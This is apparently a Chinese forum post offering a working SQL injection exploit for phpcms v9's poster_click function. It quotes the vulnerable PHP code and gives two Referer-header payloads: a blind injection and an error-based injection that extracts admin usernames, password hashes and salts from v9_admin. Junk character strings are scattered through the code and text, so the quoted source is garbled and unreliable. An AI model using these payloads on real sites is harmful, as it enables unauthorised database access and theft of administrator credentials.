phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
) {+ ^8 u  N1 j4 }; E3 e( W$ ?6 b9 b
& `0 l: X3 O0 H3 M问题函数\phpcms\modules\poster\index.php

public function poster_click() {
" x. Z; x& m; x  x. D& T1 r! I0 y. Z$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
& @/ B) o8 ^2 e% p$r = $this->db->get_one(array('id'=>$id));
( e6 T* c/ K, u0 P/ _if (!is_array($r) && empty($r)) return false;
, N, c9 l6 g" I. B0 T- M$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
3 i% h+ ?5 V8 \/ Z1 T$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
5 i& C: W5 T8 g1 Y$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
/ M& `( d. U) x3 u0 w$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
  A; T  P' A8 w2 `: w- _* B5 }$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];

) r3 m: H1 [5 A; ^# G. Q) a+ E" Q5 ~利用方式：

1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

( [( h3 M: }" ^8 `# e3 a% x通过返回页面，正常与否一个个猜解密码字段。
: A6 X1 B. \1 d3 D
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
1 }: n1 V0 A, p8 S: u0 K
9 ~/ k: H( n1 `/ Q7 G此方法是爆错注入手法，原理自查。
